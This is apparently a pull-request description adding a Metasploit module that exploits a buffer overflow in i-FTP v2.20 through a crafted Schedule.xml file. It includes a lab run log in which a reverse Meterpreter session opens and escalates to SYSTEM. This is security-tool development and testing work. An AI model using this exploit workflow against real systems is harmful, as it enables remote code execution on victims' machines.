Add module for i-FTP (OSVDB-114279)

This is an MSF port of http://www.exploit-db.com/exploits/35177.

# Verification steps
 - [ ] Copy Schedule.xml to C:\Program Files\Memecode\i.Ftp
 - [ ] Start the application

Tested on Windows XP SP3, test run results below:

```
msf > use exploit/windows/fileformat/iftp_schedule_bof
msf exploit(iftp_schedule_bof) > run

[*] Creating 'Schedule.xml' file ...
[+] Schedule.xml stored at /home/gabor/.msf4/local/Schedule.xml
msf exploit(iftp_schedule_bof) > use exploit/multi/handler 
msf exploit(handler) > run

[*] Started reverse handler on 192.168.17.131:4444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.17.129
[*] Meterpreter session 1 opened (192.168.17.131:4444 -> 192.168.17.129:1063) at 2014-12-21 16:15:28 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer        : GABOR-03722ADE8
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >
```
Would the following be OK?

>This module exploits a stack-based buffer overflow vulnerability in
>i-Ftp v2.20, caused by a long time value set for scheduled download.
>By persuading the victim to place a specially-crafted Schedule.xml file
>in the i-FTP folder, a remote attacker could execute arbitrary code on
>the system or cause the application to crash. This module has been
>tested successfully on Windows XP SP3.